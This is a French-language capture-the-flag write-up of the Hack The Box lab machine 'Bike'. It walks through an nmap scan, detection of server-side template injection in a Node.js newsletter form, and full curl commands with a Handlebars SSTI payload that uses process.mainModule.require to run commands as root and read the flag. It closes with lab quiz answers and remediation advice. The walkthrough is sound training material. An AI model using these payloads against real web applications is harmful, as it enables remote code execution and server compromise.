Passer au contenu

Bike

OSDifficultyTarget
LinuxVERY EASY10.129.97.64

Flag

FlagEmplacement
Root/root/flag.txt

Résumé

  1. Recon : 2 ports ouverts (SSH 22, HTTP 80)
  2. Identification : Node.js + Express + Handlebars template engine
  3. Exploitation : Server-Side Template Injection (SSTI) via formulaire email
  4. RCE : Bypass require is not defined avec process.mainModule.require

Reconnaissance

Nmap scan

Fenêtre du terminal
nmap -Pn -sV -p 22,80 10.129.97.64
Fenêtre du terminal
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open http Node.js (Express middleware)

Services identifiés

ServiceVersionNotes
OpenSSH8.2p1Ubuntu
Node.jsExpressMiddleware web

Enumération

Application web

La page d’accueil affiche un formulaire pour s’inscrire à une newsletter :

<form id="form" method="POST" action="/">
<input name="email" placeholder="E-mail"></input>
<button type="submit">Submit</button>
</form>

Test SSTI

En soumettant {{7*7}} dans le champ email :

Fenêtre du terminal
curl -s -X POST 10.129.97.64 -d 'email={{7*7}}'
Fenêtre du terminal
Error: Parse error on line 1:
{{7*7}}
--^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)

Découvertes :

  • Moteur de template : Handlebars
  • Vulnérabilité : SSTI (Server-Side Template Injection)

Exploitation

Payload SSTI Handlebars (HackTricks)

Premier essai avec require :

Fenêtre du terminal
curl -s -X POST 10.129.97.64 --data-urlencode 'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return require('\''child_process'\'').execSync('\''id'\'');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'

Erreur : ReferenceError: require is not defined

Contournement avec process.mainModule

Dans Node.js, require n’est pas disponible dans le scope global, mais on peut y accéder via process.mainModule.require :

Fenêtre du terminal
curl -s -X POST 10.129.97.64 --data-urlencode 'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('\''child_process'\'').execSync('\''id'\'');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'

Résultat :

uid=0(root) gid=0(root) groups=0(root)

Flag

Fenêtre du terminal
curl -s -X POST 10.129.97.64 --data-urlencode 'email={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require('\''child_process'\'').execSync('\''cat /root/flag.txt'\'');"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}'
[REDACTED]

Réponses aux questions

TâcheQuestionRéponse
1What TCP ports does nmap identify as open?22,80
2What software is running the service listening on the http/web port?Node.js
3What is the name of the Web Framework according to Wappalyzer?Express
4What is the name of the vulnerability we test for by submitting {{7*7}}?SSTI
5What is the templating engine being used within Node.JS?Handlebars
6What is the name of the BurpSuite tab used to encode text?Decoder
7What type of encoding do we use for special characters in HTTP?URL
8What is “not defined” in the response error?require
9What variable is the name of the top-level scope in Node.JS?global
10What is the name of the user running the webserver?root

Résumé de l’attaque

┌─────────────────┐ ┌─────────────────┐
│ Attaquant │ │ Bike │
│ 10.10.14.47 │ │ 10.129.97.64 │
└────────┬────────┘ └────────┬────────┘
│ │
│ 1. Nmap scan │
│────────────────────────────────────────────►│
│ Découverte: Node.js + Express │
│◄────────────────────────────────────────────│
│ │
│ 2. Test SSTI {{7*7}} │
│────────────────────────────────────────────►│
│ Erreur Handlebars révélée │
│◄────────────────────────────────────────────│
│ │
│ 3. Payload HackTricks (require) │
│────────────────────────────────────────────►│
│ "require is not defined" │
│◄────────────────────────────────────────────│
│ │
│ 4. Bypass: process.mainModule.require │
│────────────────────────────────────────────►│
│ RCE as root! │
│◄────────────────────────────────────────────│
│ │
▼ ▼
Root flag: [REDACTED]

A retenir

VulnérabilitéDescriptionRemédiation
SSTIInput utilisateur passé directement au moteur de templateAssainir les inputs, ne jamais passer d’input utilisateur directement à compile()
Mauvaise configuration HandlebarsTemplate compilé côté serveur avec input utilisateurUtiliser des templates statiques
Serveur web en rootLe serveur Node.js tourne en rootUtiliser un utilisateur non-privilégié

Outils utilisés

  • nmap
  • curl

Références